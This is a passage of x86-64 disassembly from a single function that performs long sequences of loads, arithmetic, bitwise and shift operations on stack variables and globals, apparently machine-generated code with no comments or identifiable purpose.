movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9430]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x99f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x90b8]
movzx eax, word [rax]
mov word [rsp + 0x1748], ax
movzx eax, byte [rsp + 0x1e9]
movzx ecx, byte [rsp + 0x25f]
add eax, ecx
mov byte [rsp + 0x24f], al
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
mov word [rsp + 0x174c], ax
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5050]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f80], eax
mov rax, qword [rsp + 0x9450]
mov rcx, qword [rsp + 0x9310]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9338], rax
lea rax, [rsp + 0x5078]
mov qword [rsp + 0xa438], rax
mov rax, qword [rsp + 0x9f10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9c20]
shr rax, cl
mov rcx, qword [rsp + 0x96c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9690]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x98f0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401cc06c], ax
lea rax, [rsp + 0x1694]
mov qword [rsp + 0xa440], rax
mov rax, qword [rsp + 0x9e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dd]
shl eax, cl
mov byte [rsp + 0x1e3], al
lea rax, [rsp + 0x1ed]
mov qword [rsp + 0xa448], rax
movsx eax, byte [rsp + 0x1fc]
mov rcx, qword [rsp + 0x9620]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9d10]
mov byte [rcx], al
mov rax, qword [rsp + 0x9e80]
mov ecx, dword [rsp + 0x4f54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f1c], eax
mov rax, qword [rsp + 0x92b0]
mov rax, qword [rax]
mov qword [rsp + 0xa450], rax
mov rax, qword [rsp + 0x9600]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8360]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x91d0]
mov ecx, dword [rsp + 0x4f10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ca0], eax
lea rax, [rsp + 0x1f8]
mov qword [0x1401cda20], rax
movsx eax, byte [rsp + 0x230]
mov rcx, qword [rsp + 0x9e88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1dd], al
movzx eax, word [rsp + 0x1180]
movzx ecx, word [0x1401cc06c]
sub eax, ecx
mov word [rsp + 0x171c], ax
mov rax, qword [rsp + 0x9dd8]
movzx eax, word [rax]
mov word [rsp + 0x1750], ax
mov rax, qword [rsp + 0x94f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x97d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ea8]
mov word [rcx], ax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov qword [rsp + 0xa458], rax
mov rax, qword [rsp + 0x9378]
mov rcx, qword [rsp + 0xa288]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5068], eax
mov rax, qword [rsp + 0xa398]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a7c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9e80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x92b0]
mov rax, qword [rax]
mov qword [rsp + 0xa460], rax
movzx eax, word [rsp + 0x1604]
mov rcx, qword [rsp + 0x9640]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc0d0], ax
mov rax, qword [rsp + 0x9790]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9410]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x92a0]
mov byte [rcx], al
lea rax, [rsp + 0x1628]
mov qword [rsp + 0xa468], rax
movsx eax, byte [rsp + 0x238]
mov rcx, qword [rsp + 0x9f60]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x22b], al
lea rax, [rsp + 0x1048]
mov qword [rsp + 0xa470], rax
mov eax, dword [rsp + 0x4fa8]
mov ecx, dword [rsp + 0x5080]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eac], eax
mov rax, qword [rsp + 0x8de0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5000]
shl eax, cl
mov dword [rsp + 0x4fac], eax
mov rax, qword [rsp + 0x9e60]
mov qword [rsp + 0xa478], rax
mov rax, qword [rsp + 0x93f8]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9f38], rax
mov rax, qword [rsp + 0x95c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa448]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc05b], al
mov rax, qword [rsp + 0x8f08]
movzx eax, word [rax]
mov word [rsp + 0x1754], ax
mov rax, qword [0x1401cd9b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9d48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xeb], al
movzx eax, word [rsp + 0x1668]
movzx ecx, word [rsp + 0x1624]
add eax, ecx
mov word [rsp + 0x16e0], ax
lea rax, [rsp + 0x206]
mov qword [rsp + 0xa480], rax
mov rax, qword [rsp + 0x9d38]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f00], eax
mov rax, qword [rsp + 0xa260]
mov rax, qword [rax]
mov qword [rsp + 0xa488], rax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8e58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x94b0], rax
mov rax, qword [rsp + 0x93b8]
mov rcx, qword [rsp + 0x9120]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ec0], eax
mov rax, qword [rsp + 0x9550]
movzx eax, word [rax]
mov word [0x1401cda28], ax
lea rax, [rsp + 0x1650]
mov qword [rsp + 0xa490], rax
movsx eax, word [rsp + 0x1628]
movsx ecx, word [0x1401cd950]
add eax, ecx
mov word [rsp + 0x15f4], ax
mov rax, qword [rsp + 0x98c0]
movzx eax, byte [rax]
mov byte [rsp + 0x27e], al
mov rax, qword [rsp + 0x9c90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9c18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x26a], al
mov rax, qword [rsp + 0x9040]
mov rcx, qword [rsp + 0x9f28]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a8], rax
lea rax, [rsp + 0x8e70]
mov qword [rsp + 0xa498], rax
mov eax, dword [rsp + 0x4ca0]
mov ecx, dword [rsp + 0x4ed8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b18], eax
mov rax, qword [rsp + 0x90d0]
mov eax, dword [rax]
mov dword [rsp + 0x50c8], eax
movzx eax, byte [rsp + 0x20d]
movzx ecx, byte [rsp + 0x232]
xor eax, ecx
mov rcx, qword [0x1401cd7c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14e4]
shl eax, cl
mov rcx, qword [rsp + 0xa490]
mov word [rcx], ax
lea rax, [0x1401cc046]
mov qword [rsp + 0xa4a0], rax
movsx eax, word [rsp + 0x1654]
movsx ecx, word [rsp + 0x1680]
sar eax, cl
mov rcx, qword [rsp + 0x8f30]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1fd]
movsx ecx, byte [rsp + 0x217]
add eax, ecx
mov byte [rsp + 0x23a], al
lea rax, [0x1401cd710]
mov qword [rsp + 0xa4a8], rax
mov rax, qword [rsp + 0x9830]
mov rcx, qword [rsp + 0x9b40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9770], rax
mov rax, qword [rsp + 0x9220]
mov rcx, qword [rsp + 0x9010]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8158], rax
mov rax, qword [rsp + 0x9360]
mov rcx, qword [rsp + 0x9470]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x502c], eax
mov rax, qword [rsp + 0x9ea8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15b8]
sub eax, ecx
mov word [rsp + 0x152c], ax
mov rax, qword [0x1401cd910]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15b0]
add eax, ecx
mov rcx, qword [0x1401cd850]
mov word [rcx], ax
movzx eax, byte [rsp + 0x240]
mov byte [rsp + 0x27f], al
mov rax, qword [rsp + 0x9c18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0x9f48]
movzx eax, byte [rax]
mov byte [rsp + 0x280], al
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x9908]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9600]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9990]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa270]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9a38]
mov qword [rcx], rax
mov eax, dword [0x1401cd720]
mov dword [rsp + 0x50cc], eax
mov rax, qword [rsp + 0xa158]
mov rcx, qword [rsp + 0x98b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa278]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x244]
mov byte [rsp + 0x281], al
movzx eax, word [0x1401cc078]
mov rcx, qword [rsp + 0x9d58]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc0d4], ax
movsx eax, word [rsp + 0x14c4]
mov rcx, qword [rsp + 0x9590]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x15f4], ax
movzx eax, byte [rsp + 0x1f0]
mov byte [rsp + 0x282], al
movzx eax, word [0x1401cc090]
movzx ecx, word [rsp + 0x1604]
shl eax, cl
mov rcx, qword [rsp + 0xa3b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8de0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9800]
mov qword [rsp + 0xa4b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa4b0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4e64], eax
lea rax, [rsp + 0x8158]
mov qword [rsp + 0xa4b8], rax
mov rax, qword [rsp + 0xa098]
mov rax, qword [rax]
mov rcx, qword [0x1401cc028]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa2e8]
mov qword [rcx], rax
lea rax, [rsp + 0x5024]
mov qword [rsp + 0xa4c0], rax
movzx eax, word [rsp + 0x15b0]
mov rcx, qword [rsp + 0x9ee0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x159c], ax
mov rax, qword [0x1401cd868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x233]
add eax, ecx
mov byte [0x1401cc05e], al
movsx eax, word [rsp + 0x14dc]
mov rcx, qword [rsp + 0x9730]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1674], ax
movzx eax, byte [rsp + 0x24b]
mov byte [rsp + 0x283], al
mov rax, qword [rsp + 0x8fe8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ff0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x92b8]
mov word [rcx], ax
lea rax, [rsp + 0x4ed8]
mov qword [rsp + 0xa4c8], rax
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9338]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0x90a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8540]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x95f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x93a0]
mov eax, dword [rax]
mov dword [rsp + 0x50d0], eax
movzx eax, word [rsp + 0x1574]
movzx ecx, word [0x1401cc050]
sub eax, ecx
mov word [rsp + 0x1580], ax
movsx eax, byte [rsp + 0x166]
mov rcx, qword [rsp + 0x9c08]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401cd920]
mov byte [rcx], al
lea rax, [rsp + 0x25e]
mov qword [rsp + 0xa4d0], rax
movzx eax, byte [rsp + 0x247]
movzx ecx, byte [rsp + 0x1e0]
sub eax, ecx
mov rcx, qword [rsp + 0x9b18]
mov byte [rcx], al
movsx eax, word [rsp + 0xebc]
mov rcx, qword [rsp + 0x9ad8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x97d0]
mov word [rcx], ax
lea rax, [rsp + 0x24c]
mov qword [rsp + 0xa4d8], rax
mov eax, dword [rsp + 0x4e98]
mov ecx, dword [rsp + 0x4828]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x50ac], eax
mov rax, qword [rsp + 0x9b40]
mov rax, qword [rax]
mov qword [rsp + 0xa4e0], rax
mov rax, qword [rsp + 0xa3f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9068]
sar rax, cl
mov qword [rsp + 0x9110], rax
lea rax, [rsp + 0x4ef8]
mov qword [rsp + 0xa4e8], rax
lea rax, [rsp + 0x1634]
mov qword [0x1401cda30], rax
mov rax, qword [rsp + 0x9ca0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x281]
shl eax, cl
mov byte [rsp + 0x266], al
movzx eax, word [rsp + 0x1670]
mov rcx, qword [rsp + 0x9ee0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x99d8]
mov word [rcx], ax
lea rax, [rsp + 0x1e2]
mov qword [rsp + 0xa4f0], rax
mov rax, qword [rsp + 0xa240]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9178]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa2d8]
mov byte [rcx], al
lea rax, [rsp + 0x4f98]
mov qword [rsp + 0xa4f8], rax
mov rax, qword [rsp + 0x9ad0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ae8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f28], rax
mov rax, qword [rsp + 0x9f08]
mov rcx, qword [rsp + 0x9460]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9f68]
mov qword [rcx], rax
lea rax, [rsp + 0x4a50]
mov qword [rsp + 0xa500], rax
movzx eax, word [0x1401cd8f8]
movzx ecx, word [rsp + 0x1538]
sub eax, ecx
mov word [0x1401cc054], ax
mov rax, qword [rsp + 0xa2f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e8]
and eax, ecx
mov byte [rsp + 0x1fd], al
mov rax, qword [rsp + 0x9248]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12e8]
imul eax, ecx
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x9ab0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16e4]
sub eax, ecx
mov rcx, qword [rsp + 0x9828]
mov word [rcx], ax
movzx eax, word [rsp + 0x16d0]
mov rcx, qword [0x1401cd7c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x92e8]
mov word [rcx], ax
lea rax, [rsp + 0xa2c8]
mov qword [rsp + 0xa508], rax
mov rax, qword [rsp + 0x9290]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fec], eax
lea rax, [rsp + 0x88e8]
mov qword [rsp + 0xa510], rax
mov rax, qword [rsp + 0x9408]
mov rcx, qword [rsp + 0x93f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a7c], eax
movsx eax, word [rsp + 0x167c]
mov rcx, qword [rsp + 0x97a0]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401cc0ac], ax
mov rax, qword [rsp + 0x9ee8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9bb0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x20f], al
lea rax, [rsp + 0x1610]
mov qword [rsp + 0xa518], rax
movzx eax, byte [rsp + 0x252]
movzx ecx, byte [rsp + 0x22a]
sar eax, cl
mov rcx, qword [rsp + 0x90e0]
mov byte [rcx], al
lea rax, [rsp + 0x244]
mov qword [rsp + 0xa520], rax
mov rax, qword [rsp + 0xa400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92d8]
mov qword [rsp + 0xa528], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa528]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9f38], rax
mov rax, qword [rsp + 0x9440]
mov eax, dword [rax]
mov dword [rsp + 0x50d4], eax
mov eax, dword [0x1401cd710]
mov ecx, dword [rsp + 0x482c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa2f8]
mov rcx, qword [rsp + 0x9510]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b50], rax
movzx eax, word [rsp + 0x15bc]
mov rcx, qword [rsp + 0xa078]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc0d8], ax
movzx eax, word [rsp + 0x158c]
mov word [rsp + 0x1758], ax
mov rax, qword [rsp + 0x99e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9df8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f0], al
lea rax, [rsp + 0x22c]
mov qword [rsp + 0xa530], rax
mov rax, qword [rsp + 0x9c10]
movsx eax, word [rax]
movsx ecx, word [0x1401cc038]
add eax, ecx
mov rcx, qword [rsp + 0x9ef8]
mov word [rcx], ax
mov rax, qword [rsp + 0x96f0]
mov ecx, dword [rsp + 0x4a7c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50a8], eax
mov rax, qword [rsp + 0xa3f0]
mov rax, qword [rax]
mov qword [rsp + 0xa538], rax
mov rax, qword [rsp + 0x9290]
mov rcx, qword [rsp + 0x9a50]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x93c8]
mov dword [rcx], eax
lea rax, [rsp + 0x93d0]
mov qword [rsp + 0xa540], rax
mov rax, qword [rsp + 0x9540]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xca]
sub eax, ecx
mov rcx, qword [0x1401cd760]
mov byte [rcx], al
mov rax, qword [rsp + 0x9998]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b1]
sub eax, ecx
mov rcx, qword [rsp + 0x9b48]
mov byte [rcx], al
movzx eax, word [rsp + 0x1560]
movzx ecx, word [rsp + 0x1580]
add eax, ecx
mov word [rsp + 0x16e0], ax
movzx eax, word [rsp + 0x1678]
mov word [rsp + 0x175c], ax
mov rax, qword [rsp + 0xa220]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9998]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x96e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9b60]
mov rax, qword [rax]
mov qword [rsp + 0xa548], rax
mov rax, qword [rsp + 0x8f48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa398]
mov qword [rsp + 0xa550], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa550]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5054], eax
mov rax, qword [rsp + 0xa478]
mov qword [rsp + 0xa558], rax
mov rax, qword [rsp + 0x9a88]
mov ecx, dword [rsp + 0x4ecc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa170]
movzx eax, byte [rax]
mov byte [0x1401cd7df], al
movsx eax, byte [0x1401cc05a]
movsx ecx, byte [rsp + 0x1f2]
shl eax, cl
mov byte [rsp + 0x204], al
mov rax, qword [rsp + 0x9260]
movzx eax, byte [rax]
mov byte [rsp + 0x284], al
mov rax, qword [rsp + 0x9550]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9bd8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1680], ax
mov rax, qword [rsp + 0x9340]
movzx eax, word [rax]
mov word [rsp + 0x1760], ax
mov rax, qword [rsp + 0x99b8]
mov ecx, dword [rsp + 0x50a8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ad0]
mov rcx, qword [rsp + 0x9650]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9450]
mov qword [rcx], rax
mov rax, qword [rsp + 0x99a0]
mov rcx, qword [rsp + 0xa450]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x81c0], rax
mov rax, qword [rsp + 0x9fe0]
mov rcx, qword [rsp + 0x9dc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9268]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa170]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x242]
add eax, ecx
mov byte [0x1401cc03b], al
movzx eax, word [rsp + 0x1750]
mov word [rsp + 0x1764], ax
mov rax, qword [rsp + 0x9ef8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16f8]
add eax, ecx
mov rcx, qword [rsp + 0x9550]
mov word [rcx], ax
mov rax, qword [rsp + 0xa370]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1748]
and eax, ecx
mov rcx, qword [rsp + 0x8ed8]
mov word [rcx], ax
lea rax, [rsp + 0x232]
mov qword [rsp + 0xa560], rax
mov rax, qword [rsp + 0x9c00]
mov rcx, qword [rsp + 0xa338]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9b90], rax
mov rax, qword [rsp + 0x9ce0]
mov qword [rsp + 0xa568], rax
mov eax, dword [rsp + 0x4edc]
mov rcx, qword [rsp + 0x99b8]
mov qword [rsp + 0xa570], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa570]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa0c8]
mov rcx, qword [rsp + 0xa4c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9760]
mov dword [rcx], eax
lea rax, str.Qp2jCg_f_
mov qword [rsp + 0xa578], rax
lea rax, [rsp + 0x1fa]
mov qword [0x1401cda38], rax
mov rax, qword [rsp + 0x9640]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b58]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9e70]
mov word [rcx], ax
movzx eax, word [rsp + 0x16bc]
mov word [rsp + 0x1768], ax
movzx eax, word [0x1401cc07c]
mov rcx, qword [rsp + 0x9ec8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9038]
mov word [rcx], ax
lea rax, [rsp + 0x4f24]
mov qword [rsp + 0xa580], rax
mov rax, qword [rsp + 0x92d8]
mov rcx, qword [rsp + 0xa048]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x97a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4f90]
mov ecx, dword [rsp + 0x4f80]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9fa8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9b50]
mov qword [rsp + 0xa588], rax
mov rax, qword [rsp + 0xa408]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cd78c]
add eax, ecx
mov byte [rsp + 0x228], al
movsx eax, byte [rsp + 0x258]
mov rcx, qword [rsp + 0x9ac8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401cd968]
mov byte [rcx], al
mov rax, qword [rsp + 0x99d8]
movzx eax, word [rax]
mov word [rsp + 0x176c], ax
mov rax, qword [rsp + 0x9160]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa4a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb2], al
movsx eax, word [rsp + 0x158c]
movsx ecx, word [rsp + 0x15c4]
sub eax, ecx
mov word [rsp + 0x1628], ax
lea rax, [rsp + 0x86e8]
mov qword [rsp + 0xa590], rax
mov eax, dword [rsp + 0x4eac]
mov ecx, dword [rsp + 0x5088]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd4], eax
lea rax, [rsp + 0xa030]
mov qword [rsp + 0xa598], rax
mov rax, qword [rsp + 0x91d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5068]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa198]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x228]
mov rcx, qword [rsp + 0xa4f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f1], al
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16fc]
and eax, ecx
mov word [0x1401cc0dc], ax
lea rax, [rsp + 0x229]
mov qword [rsp + 0xa5a0], rax
mov rax, qword [rsp + 0x9ff0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov word [rcx], ax
lea rax, [rsp + 0x1640]
mov qword [rsp + 0xa5a8], rax
mov rax, qword [rsp + 0xa488]
movzx ecx, al
mov rax, qword [rsp + 0x9650]
sar rax, cl
mov rcx, qword [rsp + 0x9de8]
mov qword [rcx], rax
lea rax, [0x1401cc010]
mov qword [rsp + 0xa5b0], rax
mov eax, dword [rsp + 0x4e60]
mov ecx, dword [rsp + 0x4edc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9270]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e40]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x50c4], eax
movzx eax, word [0x1401cc038]
mov word [rsp + 0x1770], ax
movzx eax, word [rsp + 0x1650]
mov rcx, qword [rsp + 0x9530]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1401cd850]
mov word [rcx], ax
mov rax, qword [rsp + 0xa0c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9810]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa1b0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x284]
mov byte [rsp + 0x285], al
mov rax, qword [rsp + 0x9bb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xca]
add eax, ecx
mov byte [rsp + 0x23d], al
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [0x1401cd7f0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x96b0]
mov byte [rcx], al
lea rax, [rsp + 0x4f4c]
mov qword [rsp + 0xa5b8], rax
mov rax, qword [rsp + 0x9780]
mov rcx, qword [rsp + 0xa2f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9f78]
mov qword [rcx], rax
lea rax, [rsp + 0x8f28]
mov qword [rsp + 0xa5c0], rax
mov eax, dword [rsp + 0x4e94]
mov ecx, dword [rsp + 0x4e60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50bc], eax
movsx eax, word [rsp + 0x14f4]
mov rcx, qword [rsp + 0x9950]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc0e0], ax
mov rax, qword [rsp + 0x9c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa578]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x22f], al
lea rax, [rsp + 0x16a4]
mov qword [rsp + 0xa5c8], rax
movsx eax, word [rsp + 0x1768]
movsx ecx, word [rsp + 0x14f0]
add eax, ecx
mov word [rsp + 0x16e4], ax
movzx eax, byte [rsp + 0x227]
mov byte [rsp + 0x286], al
mov rax, qword [rsp + 0xa028]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa368]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e58]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e50]
mov ecx, dword [rsp + 0x5008]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9d18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9000]
mov rcx, qword [rsp + 0x8c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x47e4], eax
mov rax, qword [rsp + 0x9e00]
mov rcx, qword [rsp + 0x91a8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7f38], rax
movzx eax, byte [rsp + 0x20c]
mov byte [0x1401cd7ea], al
lea rax, [0x1401cd7de]
mov qword [rsp + 0xa5d0], rax
movzx eax, byte [rsp + 0x25f]
movzx ecx, byte [rsp + 0x26a]
shl eax, cl
